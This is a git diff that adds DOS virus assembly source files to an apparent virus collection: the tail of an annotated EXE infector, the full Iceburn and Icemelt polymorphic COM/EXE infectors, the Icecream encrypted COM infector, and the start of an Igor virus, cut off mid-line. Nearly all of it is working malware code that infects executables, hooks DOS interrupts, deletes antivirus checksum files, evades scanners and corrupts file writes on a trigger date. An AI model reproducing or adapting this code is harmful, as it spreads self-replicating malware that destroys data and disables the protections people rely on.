expansions. +; + MOV ES,BX + XOR SI,SI + XOR DI,DI + PUSH CS + POP DS + MOV CX,2000 + CLD + REP MOVSB +; +; The virus then transfers control to the new copy of itself. +; + PUSH ES + MOV AX,OFFSET L2 + PUSH AX + RET +; +; This part of the program is new. It tries to bypass protection +; programs, by obtaining the original INT 21 address. It searches +; for the byte sequence 2E 3A 26, which (in DOS 3.1 and 3.3) is the +; beginning of the original interrupt (probably also in 3.2 - I do +; not have a copy of that) +; +L2: MOV DS,CS:[DOSSEG] + MOV CX,3000H + MOV SI,0 + MOV AX,3A2EH +L3: CMP AX,[SI] + JE L3A +L3C: INC SI + LOOP L3 +; +; If that fails, it searches for 80 FC 63 (used in 3.0) +; 80 FC 4B (used in 2.0) +; 80 FC F8 (This looks very odd - +; I have no idea what DOS version this might be.) +; + MOV CX,3000H + MOV SI,0 + MOV AX,0FC80H +L3D: CMP AX,[SI] + JE L3F +L3E: INC SI + LOOP L3D +; +; Start of DOS not found - Give up (but remain in memory) +; + JMP EXIT + +L3A: CMP BYTE PTR[SI+2],26H + JE L3B + JMP L3C +L3F: CMP BYTE PTR[SI+2],63H + JE L3B + CMP BYTE PTR[SI+2],4BH + JE L3B + CMP BYTE PTR[SI+2],0F8H + JE L3B + JMP L3E +L3B: MOV CS:[DOSPC],SI +; +; The main program modifies INT 21 next and finally returns to the +; original program. The original INT 21 vector is stored inside the +; program so a JMP [OLD INT21] instruction can be used. +; + XOR AX,AX + MOV ES,AX + MOV AX,ES:[0084H] + MOV CS:[OLD21],AX + MOV AX,ES:[0086H] + MOV CS:[OLD21+2],AX + MOV AX,CS + MOV ES:[0086H],AX + MOV AX,OFFSET NEW21 + MOV ES:[0084H],AX + JMP EXIT +VIRUS ENDP +; +; This is the INT 21 replacement. It only does something in the case +; of an EXEC call. +; +NEW21 PROC FAR + CMP AH,4BH + JE L5 +L4: DB 0EAH +OLD21 DW 0,0 +; +; Only attack every tenth program run. +; +L5: DEC CS:[COUNTER] + JNE L4 + MOV CS:[COUNTER],10 +; +; Save all affected registers. +; + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DS +; +; Search for the file name extension ... +; + MOV BX,DX +L6: INC BX + CMP BYTE PTR [BX],'.' + JE L8 + CMP BYTE PTR [BX],0 + JNE L6 +; +; ... and quit unless it starts with "EX". +; +L7: POP DS + POP SI + POP DX + POP CX + POP BX + POP AX + JMP L4 +L8: INC BX + CMP WORD PTR [BX],5845H + JNE L7 +; +; When an .EXE file is found, the virus starts by turning off +; the read-only attribute. The read-only attribute is not restored +; when the file has been infected. +; +; Here, as elsewhere, the INT 21 instructions have been replaced +; by PUSHF/CALL DWORD PTR CS:[DOSPC] +; + MOV AX,4300H ; Get attribute + PUSHF + CALL DWORD PTR CS:[DOSPC] + JC L7 + MOV AX,4301H ; Set attribute + AND CX,0FEH + PUSHF + CALL DWORD PTR CS:[DOSPC] + JC L7 +; +; Next, the file is examined to see if it is already infected. +; The signature (4418 5F19) is stored in the last two words. +; + MOV AX,3D02H ; Open / write access + PUSHF + CALL DWORD PTR CS:[DOSPC] + JC L7 + MOV BX,AX ; file handle in BX + PUSH CS ; now DS is no longer needed + POP DS +; +; The header of the file is read in at [ID+8]. The virus then +; modifies itself, according to the information stored in the +; header. (The original CS and IP addressed are stored). +; + MOV DX,OFFSET ID+8 + MOV CX,1CH + MOV AH,3FH + PUSHF + CALL DWORD PTR CS:[DOSPC] + JC L9 + MOV AX,DS:ID[1CH] + MOV DS:[ORG_IP],AX + MOV AX,DS:ID[1EH] + ADD AX,10H + MOV DS:[ORG_CS],AX +; +; Next the read/write pointer is moved to the end of the file-4, +; and the last 4 bytes read. They are compared to the signature, +; and if equal nothing happens. +; + MOV AX,4202H + MOV CX,-1 + MOV DX,-4 + PUSHF + CALL DWORD PTR CS:[DOSPC] + JC L9 + ADD AX,4 + MOV DS:[LEN_LO],AX + JNC L8A + INC DX +L8A: MOV DS:[LEN_HI],DX + + MOV AH,3FH + MOV CX,4 + MOV DX,OFFSET ID+4 + PUSHF + CALL DWORD PTR CS:[DOSPC] + JNC L11 +L9: MOV AH,3EH + PUSHF + CALL DWORD PTR CS:[DOSPC] +L10: JMP L7 +; +; Compare to 4418,5F19 +; +L11: MOV SI,OFFSET ID+4 + MOV AX,[SI] + CMP AX,4418H + JNE L12 + MOV AX,[SI+2] + CMP AX,5F19H + JE L9 +; +; The file is not infected, so the next thing the virus does is +; infecting it. First it is padded so the length becomes a multiple +; of 16 bytes. This is probably done so the virus code can start at a +; paragraph boundary. +; +L12: MOV AX,DS:[LEN_LO] + AND AX,0FH + JZ L13 + MOV CX,16 + SUB CX,AX + ADD DS:[LEN_LO],CX + JNC L12A + INC DS:[LEN_HI] +L12A: MOV AH,40H + PUSHF + CALL DWORD PTR CS:[DOSPC] + JC L9 +; +; Next the main body of the virus is written to the end. +; +L13: XOR DX,DX + MOV CX,OFFSET ID + 4 + MOV AH,40H + PUSHF + CALL DWORD PTR CS:[DOSPC] + JC L9 +; +; Next the .EXE file header is modified: +; +; First modify initial IP +; + MOV AX,OFFSET LABEL1 + MOV DS:ID[1CH],AX +; +; Modify starting CS = Virus CS. It is computed as: +; +; (Original length of file+padding)/16 - Start of load module +; + MOV DX,DS:[LEN_HI] + MOV AX,DS:[LEN_LO] + SHR DX,1 + RCR AX,1 + SHR DX,1 + RCR AX,1 + SHR DX,1 + RCR AX,1 + SHR DX,1 + RCR AX,1 + SUB AX,DS:ID[10H] + MOV DS:ID[1EH],AX +; +; Modify length mod 512 +; + ADD DS:[LEN_LO],OFFSET ID+4 + JNC L14 + INC DS:[LEN_HI] +L14: MOV AX,DS:[LEN_LO] + AND AX,511 + MOV DS:ID[0AH],AX +; +; Modify number of blocks used +; + MOV DX,DS:[LEN_HI] + MOV AX,DS:[LEN_LO] + ADD AX,511 + JNC L14A + INC DX +L14A: MOV AL,AH + MOV AH,DL + SHR AX,1 + MOV DS:ID[0CH],AX +; +; Finally the modified header is written back to the start of the +; file. +; +QQQ: MOV AX,4200H + XOR CX,CX + XOR DX,DX + PUSHF + CALL DWORD PTR CS:[DOSPC] + JC ENDIT + MOV AH,40H + MOV DX,OFFSET ID+8 + MOV CX,1CH + PUSHF + CALL DWORD PTR CS:[DOSPC] + JC ENDIT + MOV AH,3EH + PUSHF + CALL DWORD PTR CS:[DOSPC] +; +; Infection is finished - close the file and execute it. +; +ENDIT: JMP L9 +; +; The damage section located here has been removed. +; + +NEW21 ENDP + +DOSPC DW ? + +DOSSEG DW ? +COUNTER DB 10 +LEN_LO DW ? +LEN_HI DW ? +ID DW 4418H,5F19H ; The signature of the virus. +; +; A buffer, used for data from the file. +; +_TEXT ENDS + + END LABEL1 + + diff --git a/i/ICEBURN.ASM b/i/ICEBURN.ASM new file mode 100755 index 0000000..eeb08b2 --- /dev/null +++ b/i/ICEBURN.ASM @@ -0,0 +1,404 @@ + +; - +; Iceburn - (c)1995 irogen - Using iCE v0.2 +; - +; +; Infects COM and EXE when executed. +; COM Infection marker: fourth byte is 0 +; EXE infection marker: Checksum in header not equal to 0. +; Time/Date do not change +; Read-only and hidden files will be infected, and attributes restored. +; Virus installs its own critical error handler +; Deletes MSAV/CPAV CHecksum filez.. +; Activates on the second of any month, at which time it will phuck +; up all file writes using INT 21h/func 40h. +; Does not use ViCE anti-tbscan. Has a second cryptor to thwart many +; TBSCAN flags. +; + + +cseg segment + assume cs:cseg, ds:cseg, es:cseg, ss:cseg + +signal equ 0FA01h ; AX=signal/INT 21h/installation chk +vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API +special equ 11h +act_day equ 2 +buf_size equ 170 +vice_size equ 1587+buf_size +virus_size equ (offset vend-offset start)+VICE_SIZE +extrn _vice:near + +org 0h +start: + + push ds es + inc si + mov ax,1000h ; looks like legit. INT call.. + add ax,signal-1000h ; are we memory resident? + mov dx,vsafe_word + mov bl,special + int 21h + call nx ; get relative offset + nx: pop bp + sub bp,offset nx + or si,si + jz no_install ; if carry then we are + + call crypt ; decrypt the next few bytez +c_start: + mov cs:activate[bp],0 + mov ah,2ah ; get date + int 21h + cmp dl,act_day ; + jnz no_act + mov cs:activate[bp],1 +no_act: + + mov ax,ds ; PSP segment + dec ax ; mcb below PSP m0n + mov ds,ax ; DS=MCB seg + cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain? + jnz no_install + sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB + sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP + mov es,word ptr ds: [12h] ; get high mem seg + push cs + pop ds + mov si,bp + mov cx,virus_size/2+1 + xor di,di + rep movsw ; copy code to new seg + xor ax,ax + mov ds,ax ; null ds + push ds + lds ax,ds: [21h*4] ; get 21h vector + mov es: word ptr old21+2,ds ; save S:O + mov es: word ptr old21,ax + pop ds + mov ds: [21h*4+2],es ; new int 21h seg + mov ds: [21h*4],offset new21 ; new offset + sub byte ptr ds: [413h],((virus_size+1023)*2)/1024;-totalmem +c_end: +no_install: + + pop es ds ; restore ES DS + cmp cs:is_exe[bp],1 + jz exe_return + + lea si,org_bytes[bp] ; com return + mov di,0100h ; -restore first 4 bytes + mov cx,2 + rep movsw + + mov ax,100h ; jump back to 100h + push ax +_ret:ret + + exe_return: + mov cx,ds ; calc. real CS + add cx,10h + add word ptr cs:[exe_jump+2+bp],cx + int 3 ; fix prefetch + db 0eah +exe_jump dd 0 +is_exe db 0 + +; +; Crypts portion of virus +; +crypt_res: + xor bp,bp +crypt: + lea si,c_start + add si,bp + mov cx,(offset c_end-offset c_start) + add byte ptr cs:xor_op[bp],10h ; self modifying code... + int 3 ; fix prefetch +l1: + db 2Eh +xor_op db 70h,34h ; tbscan won't flag this bitch +xor_val db 0 + inc si + loop l1 + sub byte ptr cs:xor_op[bp],10h ; unmodify code + ret + +; +; Infection routine - called from INT 21h handler. +; DS:DX=fname +; + +infect_file: + + push dx + pop si + + push ds + xor ax,ax ; null ES + mov es,ax + lds ax,es:[24h*4] ; get INT 24h vector + mov cs:old_24_off,ax ; save it + mov cs:old_24_seg,ds + mov es:[24h*4+2],cs ; install our handler + mov es:[24h*4],offset new_24 + pop ds + push es ; we'll need it later + push cs + pop es + + mov ax,4300h ; get phile attribute + int 21h + mov ax,4301h ; null attribs + push ax cx ; save AX-call/CX-attrib + xor cx,cx + int 21h + + mov ax,3d02h ; open the file + int 21h + jc dont_do + + mov bx,ax ; get handle + + push cs + pop ds + + call kill_chklst ; kill MSAV and CPAV checksum files + + mov ah,3fh ; Read first bytes of file + mov cx,20h + lea dx,org_bytes + int 21h + + cmp byte ptr org_bytes,'M' ; single byte avoids heuristic flag + jz do_exe + cmp byte ptr org_bytes+3,0 + jz close + + mov is_exe,0 + + mov ax,5700h ; get time/date + int 21h + push cx dx + + call offset_end + push ax ; AX=end of file + + lea si,start ; DS:SI=start of code to encrypt + mov di,virus_size ; ES:DI=address for decryptor/ + push di ; encrypted code. (at heap) + mov cx,virus_size ; CX=virus size + mov dx,ax ; DX=EOF offset + add dx,100h ; DX=offset decryptor will run from + mov al,00001011b ; jmps,no anti-tbscan, garbage, no CS: + call _vice ; call engine! + + pop dx + mov ah,40h + int 21h + + call offset_zero + pop ax ; restore COM file size + sub ax,3 ; calculate jmp offset + mov word ptr new_jmp+1,ax + + lea dx,new_jmp + mov cx,4 + mov ah,40h + int 21h + + pop dx cx ; pop date/time + mov ax,5701h ; restore the mother fuckers + int 21h + + close: + + pop cx ax ; restore attrib + int 21h + + mov ah,3eh + int 21h + + dont_do: + pop es ; ES=0 + lds ax,dword ptr old_24_off ; restore shitty DOS error handler + mov es:[24h*4],ax + mov es:[24h*4+2],ds + + ret + + do_exe: + + cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0? + jnz close + cmp byte ptr exe_header[18h],52h ; pklite'd? + jz exe_ok + cmp byte ptr exe_header[18h],40h ; don't infect new format exe + jge close +exe_ok: + push bx + + mov ah,2ch ; grab a random number + int 21h + mov word ptr exe_header[12h],dx ; mark that it's us + mov is_exe,1 + + les ax,dword ptr exe_header+14h ; Save old entry point + mov word ptr ds:exe_jump, ax + mov word ptr ds:exe_jump+2, es + + push cs + pop es + + call offset_end + + push dx ax ; save file size DX:AX + + mov bx, word ptr exe_header+8h ; calc. new entry point + mov cl,4 ; *16 + shl bx,cl ; ^by shifting one byte + sub ax,bx ; get actual file size-header + sbb dx,0 + mov cx,10h ; divide AX/CX rDX + div cx + + mov word ptr exe_header+14h,dx + mov word ptr exe_header+16h,ax + mov rel_off,dx + + pop ax ; AX:DX file size + pop dx + pop bx + + mov cx,virus_size+10h ; calc. new size + adc ax,cx + + mov cl,9 ; calc new alloc (512) + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax ; ax=size+virus + and ah,1 + + mov word ptr exe_header+4h,dx + mov word ptr exe_header+2h,ax + + lea si,start ; DS:SI=start of code to encrypt + mov di,virus_size ; ES:DI=address for decryptor and + push di ; encrypted code (at heap) + mov cx,virus_size ; CX=virus size + mov dx,rel_off ; DX=offset decryptor will run from + mov al,00001010b ; jmps,no anti-tbscan,garbage, use CS: + call _vice ; call engine! + + pop dx + mov ah,40h + int 21h + + call offset_zero + + mov cx,18h ; write fiXed header + lea dx,exe_header + mov ah,40h + int 21h + + jmp close + +; +; set file ptr + +offset_zero: ; self explanitory + xor al,al + jmp set_fp +offset_end: + mov al,02h + set_fp: + mov ah,42h + xor cx,cx + xor dx,dx + int 21h + ret + +; +; Kill those darned MSAV and CPAV filez.. +; +kill_chklst: + mov di,2 ; counter for loop + lea dx,first_2die ; first fname to kill +kill_loop: + mov ax,4301h ; reset attribs + xor cx,cx + int 21h + mov ah,41h ; delete phile + int 21h + lea dx,last_2die ; second fname to kill + dec di + jnz kill_loop + + ret +first_2die db 'CHKLIST.MS',0 ; MSAV shitty checksum +last_2die db 'CHKLIST.CPS',0 ; CPAV shitty checksum + +; +; new 21h + +new21: + + pushf + cmp ax,signal ; be it us? + jnz not_us ; richtig.. + cmp dx,vsafe_word + jnz not_us + cmp bl,special + jnz not_us + xor si,si + mov di,4559h + jmp jmp_org +not_us: + cmp cs:activate,0 ; time to activate? + jz nchk + cmp ah,40h ; write to phile? + jnz jmp_org + xor dx,dx ; phuck up address.. +nchk: cmp ax,4b00h ; execute phile? + jnz jmp_org + + push ax bx cx di dx si ds es bp dx + mov ah,2ch ; grab random for cryptor + int 21h + mov byte ptr cs:xor_val,dl + pop dx + call crypt_res + call infect_file + call crypt_res + pop bp es ds si dx di cx bx ax + + jmp_org: + popf + db 0eah ; jump far XXXX:XXXX + old21 dd 0 + + +new_24: ; critical error handler + mov al,3 ; prompts suck, return fail + iret + + +activate db 0 +txt_ptr dw offset credits +credits db '[IceBurn, by irogen]' +credit_end: +new_jmp db 0E9h,0,0,0 ; jmp XXXX,0 +rel_off dw 0 +exe_header: +org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr +heap: +db 16h dup(0) ; remaining exe header space +old_24_off dw 0 ; old int24h vector +old_24_seg dw 0 +vend: +cseg ends + end start + diff --git a/i/ICECREAM.ASM b/i/ICECREAM.ASM new file mode 100755 index 0000000..28e746d --- /dev/null +++ b/i/ICECREAM.ASM @@ -0,0 +1,259 @@ +;Icecream Virus by the TridenT virus research group. + +;This is a simple direct-action com virus that uses one of +;4 encryption algorithms to encrypt itself each time it infects a file. +;It will infect one .COM file in the current directory every time it is +;executed. It marks infections with the time stamp. + + +;Disassembly by Black Wolf + +.model tiny +.code + org 100h + +start: + db 0e9h,0ch,0 ;jmp Virus_Entry + +Author_Name db 'John Tardy' + + db 0E2h,0FAh +Virus_Entry: + push ax + call Get_Offset +Get_Offset: + pop ax + sub ax,offset Get_Offset + + db 89h,0c5h ;mov bp,ax + lea si,[bp+Storage] + mov di,100h ;Restore file + movsw + movsb + + mov ah,1Ah + mov dx,0f900h + int 21h ;Set DTA + + mov ah,4Eh + +FindFirstNext: + lea dx,[bp+ComMask] + xor cx,cx + int 21h ;Find File + jnc InfectFile + +Restore_DTA: + mov ah,1Ah + mov dx,80h + int 21h ;Set DTA to default + + mov bx,offset start + pop ax ;Return to host + push bx + retn + +InfectFile: + mov ax,4300h + mov dx,0f91eh + int 21h ;Get file attribs + + push cx ;save 'em + mov ax,4301h + xor cx,cx + int 21h ;Set them to 0 + + mov ax,3D02h + int 21h ;Open file + + mov bx,5700h + xchg ax,bx + int 21h ;Get file time + + push cx + push dx ;save it + and cx,1Fh + cmp cx,1 ;check for infection + jne ContinueInfection + db 0e9h,69h,0 ;jmp DoneInfect + +ContinueInfection: + mov ah,3Fh + lea dx,[bp+Storage] + mov cx,3 + int 21h ;Read in first 3 bytes + + mov ax,cs:[Storage+bp] + cmp ax,4D5Ah ;Is it an EXE? + je DoneInfect + cmp ax,5A4Dh + je DoneInfect ;Other EXE signature? + + pop dx + pop cx + and cx,0FFE0h ;Change stored time values + or cx,1 ;to mark infection + push cx + push dx + + mov ax,4202h ;Go to the end of the file + call Move_FP + sub ax,3 + mov cs:[JumpSize+bp],ax ;Save jump size + + add ax,10Fh ;Save encryption starting + mov word ptr [bp+EncPtr1+1],ax ;point.... + mov word ptr [bp+EncPtr2+1],ax + mov word ptr [bp+EncPtr3+1],ax + mov word ptr [bp+EncPtr4+1],ax + call SetupEncryption ;Encrypt virus + + mov ah,40h + mov dx,0fa00h + mov cx,1F5h + int 21h ;Write virus to file + + mov ax,4200h + call Move_FP ;Go to the beginning of file + + mov ah,40h + lea dx,[bp+JumpBytes] + mov cx,3 + int 21h ;Write in jump + + call FinishFile + jmp Restore_DTA + +DoneInfect: + call FinishFile + mov ah,4Fh + jmp FindFirstNext + +Move_FP: + xor cx,cx + xor dx,dx + int 21h + ret + +FinishFile: + pop si dx cx + mov ax,5701h ;Reset file time/date stamp + int 21h ;(or mark infection) + + mov ah,3Eh + int 21h ;Close new host file + + mov ax,4301h + pop cx + mov dx,0fc1eh + int 21h ;Restore old attributes + + push si + retn + +Message db ' I scream, you scream, we both ' + db 'scream for an ice-cream! ' + +SetupEncryption: + xor byte ptr [bp+10Dh],2 + xor ax,ax + mov es,ax + mov ax,es:[46ch] ;Get random number + push cs + pop es + push ax + and ax,7FFh + add ax,1E9h + mov word ptr [bp+EncSize1+1],ax + mov word ptr [bp+EncSize2+1],ax + mov word ptr [bp+EncSize3+1],ax + mov word ptr [bp+EncSize4+1],ax + pop ax + push ax + and ax,3 + shl ax,1 + mov si,ax + mov ax,[bp+si+EncData1] + add ax,bp + mov si,ax + lea di,[bp+103h] + movsw + movsw + movsw + movsw ;Copy Encryption Algorithm + pop ax + stosb + movsb + mov dl,al + lea si,[bp+103h] + mov di,0fa00h + mov cx,0Ch + rep movsb + lea si,[bp+10Fh] + mov cx,1E9h + +EncryptVirus: + lodsb + db 30h,0d0h ;xor al,dl + stosb + loop EncryptVirus + + cmp dl,0 + je KeyWasZero + retn + +KeyWasZero: ;If key is zero, increase + mov si,offset AuthorName ;jump size and place name + mov di,0fa00h ;at beginning.... + mov cx,0Ah + rep movsb + mov ax,cs:[JumpSize+bp] + add ax,0Ch + mov cs:[JumpSize+bp],ax + retn + + db '[TridenT]' + +EncData1 dw 02beh +EncData2 dw 02c7h +EncData3 dw 02d0h +EncData4 dw 02d9h + +Encryptions: +;------------------------------------------------------------ +EncPtr1: + mov si,0 +EncSize1: + mov cx,0 + xor byte ptr [si],46h +;------------------------------------------------------------ +EncPtr2: + mov di,0 +EncSize2: + mov cx,0 + xor byte ptr [di],47h +;------------------------------------------------------------ +EncSize3: + mov cx,0 +EncPtr3: + mov si,0 + xor byte ptr [si],46h +;------------------------------------------------------------ +EncSize4: + mov cx,0 +EncPtr4: + mov di,0 + xor byte ptr [di],47h +;------------------------------------------------------------ + +AuthorName db 'John Tardy' + +JumpBytes db 0E9h +JumpSize dw 0 + +ComMask db '*.CoM',0 + +Storage dw 20CDh + db 21h + +end start diff --git a/i/ICEMELT.ASM b/i/ICEMELT.ASM new file mode 100755 index 0000000..454fd06 --- /dev/null +++ b/i/ICEMELT.ASM @@ -0,0 +1,409 @@ + +; - +; Icemelt - (c)1995 irogen - Using iCE v0.2 +; - +; +; Infects COM and EXE when executed. +; COM Infection marker: fourth byte is 0 +; EXE infection marker: Checksum in header not equal to 0. +; Time/Date do not change +; Read-only and hidden files will be infected, and attributes restored. +; Virus installs its own critical error handler +; Deletes MSAV and CPAV Checksum filez. +; Activates on the second of any month, at which time it will phuck +; up all file writes using INT 21h/func 40h. +; Does not use ViCE anti-tbscan. Has a second cryptor to thwart many +; TBSCAN flags. Does not use ViCE Garbage. +; + + +cseg segment + assume cs:cseg, ds:cseg, es:cseg, ss:cseg + +signal equ 0FA01h ; AX=signal/INT 21h/installation chk +vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API +special equ 11h +act_day equ 2 +buf_size equ 170 +vice_size equ 1602+buf_size +virus_size equ (offset vend-offset start)+VICE_SIZE +extrn _vice:near + +org 0h +start: + + push ds es + inc si + mov ax,1000h ; looks like legit. INT call.. + add ax,signal-1000h ; are we memory resident? + mov dx,vsafe_word + mov bl,special + int 21h + call nx ; get relative offset + nx: pop bp + sub bp,offset nx + or si,si + jz no_install ; if carry then we are + + call crypt ; decrypt the next few bytez +c_start: + mov cs:activate[bp],0 + mov ah,2ah ; get date + int 21h + cmp dl,act_day ; + jnz no_act + mov cs:activate[bp],1 +no_act: + + mov ax,ds ; PSP segment + dec ax ; mcb below PSP m0n + mov ds,ax ; DS=MCB seg + cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain? + jnz no_install + sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB + sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP + mov es,word ptr ds: [12h] ; get high mem seg + push cs + pop ds + mov si,bp + mov cx,virus_size/2+1 + xor di,di + rep movsw ; copy code to new seg + xor ax,ax + mov ds,ax ; null ds + push ds + lds ax,ds: [21h*4] ; get 21h vector + mov es: word ptr old21+2,ds ; save S:O + mov es: word ptr old21,ax + pop ds + mov ds: [21h*4+2],es ; new int 21h seg + mov ds: [21h*4],offset new21 ; new offset + sub byte ptr ds: [413h],((virus_size+1023)*2)/1024;-totalmem +c_end: +no_install: + + pop es ds ; restore ES DS + cmp cs:is_exe[bp],1 + jz exe_return + + lea si,org_bytes[bp] ; com return + mov di,0100h ; -restore first 4 bytes + mov cx,2 + rep movsw + + mov ax,100h ; jump back to 100h + push ax +_ret:ret + + exe_return: + mov cx,ds ; calc. real CS + add cx,10h + add word ptr cs:[exe_jump+2+bp],cx + int 3 ; fix prefetch + db 0eah +exe_jump dd 0 +is_exe db 0 + +; +; Crypts portion of virus +; +crypt_res: + xor bp,bp +crypt: + lea si,c_start + add si,bp + mov cx,(offset c_end-offset c_start) + add byte ptr cs:xor_op[bp],10h ; self modifying code... + int 3 ; fix prefetch +l1: + db 2Eh +xor_op db 70h,34h ; tbscan won't flag this bitch +xor_val db 0 + inc si + loop l1 + sub byte ptr cs:xor_op[bp],10h ; unmodify code + ret + +; +; Infection routine - called from INT 21h handler. +; DS:DX=fname +; + +infect_file: + + push dx + pop si + + push ds + xor ax,ax ; null ES + mov es,ax + lds ax,es:[24h*4] ; get INT 24h vector + mov cs:old_24_off,ax ; save it + mov cs:old_24_seg,ds + mov es:[24h*4+2],cs ; install our handler + mov es:[24h*4],offset new_24 + pop ds + push es ; we'll need it later + push cs + pop es + + mov ax,4300h ; get phile attribute + int 21h + mov ax,4301h ; null attribs + push ax cx ; save AX-call/CX-attrib + xor cx,cx + int 21h + + mov ax,3d02h ; open the file + int 21h + jc dont_do + + mov bx,ax ; get handle + + push cs + pop ds + + call kill_chklst + + mov ah,3fh ; Read first bytes of file + mov cx,20h + lea dx,org_bytes + int 21h + + cmp byte ptr org_bytes,'M' ; single byte avoids heuristic flag + jz do_exe + cmp byte ptr org_bytes+3,0 + jz close + + mov is_exe,0 + + mov ax,5700h ; get time/date + int 21h + push cx dx + + call offset_end + push ax ; AX=end of file + + lea si,start ; DS:SI=start of code to encrypt + mov di,virus_size ; ES:DI=address for decryptor/ + push di ; encrypted code. (at heap) + mov cx,virus_size ; CX=virus size + mov dx,ax ; DX=EOF offset + add dx,100h ; DX=offset decryptor will run from + mov al,00000001b ; no garbage, no CS: + call _vice ; call engine! + + pop dx + mov ah,40h + int 21h + + call offset_zero + pop ax ; restore COM file size + sub ax,3 ; calculate jmp offset + mov word ptr new_jmp+1,ax + + lea dx,new_jmp + mov cx,4 + mov ah,40h + int 21h + + pop dx cx ; pop date/time + mov ax,5701h ; restore the mother fuckers + int 21h + + close: + + pop cx ax ; restore attrib + int 21h + + mov ah,3eh + int 21h + + dont_do: + pop es ; ES=0 + lds ax,dword ptr old_24_off ; restore shitty DOS error handler + mov es:[24h*4],ax + mov es:[24h*4+2],ds + + ret + + do_exe: + + cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0? + jnz close + cmp byte ptr exe_header[18h],52h ; pklite'd? + jz exe_ok + cmp byte ptr exe_header[18h],40h ; don't infect new format exe + jge close +exe_ok: + push bx + + mov ah,2ch ; grab a random number + int 21h + mov word ptr exe_header[12h],dx ; mark that it's us + mov is_exe,1 + + les ax,dword ptr exe_header+14h ; Save old entry point + mov word ptr ds:exe_jump, ax + mov word ptr ds:exe_jump+2, es + + push cs + pop es + + call offset_end + + push dx ax ; save file size DX:AX + + mov bx, word ptr exe_header+8h ; calc. new entry point + mov cl,4 ; *16 + shl bx,cl ; ^by shifting one byte + sub ax,bx ; get actual file size-header + sbb dx,0 + mov cx,10h ; divide AX/CX rDX + div cx + + mov word ptr exe_header+14h,dx + mov word ptr exe_header+16h,ax + mov rel_off,dx + + pop ax ; AX:DX file size + pop dx + pop bx + + mov cx,virus_size+10h ; calc. new size + adc ax,cx + + mov cl,9 ; calc new alloc (512) + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax ; ax=size+virus + and ah,1 + + mov word ptr exe_header+4h,dx + mov word ptr exe_header+2h,ax + + lea si,start ; DS:SI=start of code to encrypt + mov di,virus_size ; ES:DI=address for decryptor and + push di ; encrypted code (at heap) + mov cx,virus_size ; CX=virus size + mov dx,rel_off ; DX=offset decryptor will run from + mov al,00000000b ; no garbage, use CS: + call _vice ; call engine! + + pop dx + mov ah,40h + int 21h + + call offset_zero + + mov cx,18h ; write fiXed header + lea dx,exe_header + mov ah,40h + int 21h + + jmp close + +; +; set file ptr + +offset_zero: ; self explanitory + xor al,al + jmp set_fp +offset_end: + mov al,02h + set_fp: + mov ah,42h + xor cx,cx + xor dx,dx + int 21h + ret + +; +; Kill those darned MSAV and CPAV filez.. +; +kill_chklst: + mov di,2 ; counter for loop + lea dx,first_2die ; first fname to kill +kill_loop: + mov ax,4301h ; reset attribs + xor cx,cx + int 21h + mov ah,41h ; delete phile + int 21h + lea dx,last_2die ; second fname to kill + dec di + jnz kill_loop + + ret +first_2die db 'CHKLIST.MS',0 ; MSAV shitty checksum +last_2die db 'CHKLIST.CPS',0 ; CPAV shitty checksum + + + + +; +; new 21h + +new21: + + pushf + cmp ax,signal ; be it us? + jnz not_us ; richtig.. + cmp dx,vsafe_word + jnz not_us + cmp bl,special + jnz not_us + xor si,si + mov di,4559h + jmp jmp_org +not_us: + cmp cs:activate,0 ; time to activate? + jz nchk + cmp ah,40h ; write to phile? + jnz jmp_org + lea dx,credits ; phuck up address.. + push cs + pop ds +nchk: cmp ax,4b00h ; execute phile? + jnz jmp_org + + push ax bx cx di dx si ds es bp dx + mov ah,2ch ; grab random for cryptor + int 21h + mov byte ptr cs:xor_val,dl + pop dx + call crypt_res + call infect_file + call crypt_res + pop bp es ds si dx di cx bx ax + + jmp_org: + popf + db 0eah ; jump far XXXX:XXXX + old21 dd 0 + + +new_24: ; critical error handler + mov al,3 ; prompts suck, return fail + iret + + +activate db 0 +txt_ptr dw offset credits +credits db '[IceMelt, by irogen]' +credit_end: +new_jmp db 0E9h,0,0,0 ; jmp XXXX,0 +rel_off dw 0 +exe_header: +org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr +heap: +db 16h dup(0) ; remaining exe header space +old_24_off dw 0 ; old int24h vector +old_24_seg dw 0 +vend: +cseg ends + end start + diff --git a/i/IGOR.ASM b/i/IGOR.ASM new file mode 100755 index 0000000..1a6d064 --- /dev/null +++ b/i/IGOR.ASM @@ -0,0 +1,536 @@ + +PAGE 59,132 + +; +; +; IGOR +; +; Created: 12-Jul-92 +; Passes: 5 Analysis Options on: none +; (c) 1992 by Igor Ratzkopf - All Rights Reserved July R +; +; + +data_1e equ 16h +data_2e equ 469h ;* +data_3e equ 103h ;* +data_4e equ 1 ;* +data_5e equ 3 ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +igor proc far + +start:: + jmp short $+3 ; delay for I/O + nop + call sub_1 + +igor endp + +; +; SUBROUTINE +; + +sub_1 proc near + pop bp + sub bp,106h + push ax + push bx + push cx + push dx + push si + push di + push bp + push es + push ds + mov ax,7BCDh + int 21h ; ??INT Non-standard interrupt + cmp bx,7BCDh + je loc_4 ; Jump if equal + xor bx,bx ; Zero register + push cs + pop ds + mov cx,es + mov ax,3509h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov word ptr cs:data_11+2[bp],es + mov cs:data_11[bp],bx + mov ax,3521h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov word ptr cs:data_9+2[bp],es + mov cs:data_9[bp],bx + dec cx + mov es,cx + mov bx,es:data_5e + mov dx,3C3h + mov cl,4 + shr dx,cl ; Shift w/zeros fill + add dx,4 + mov cx,es + sub bx,dx + inc cx + mov es,cx + mov 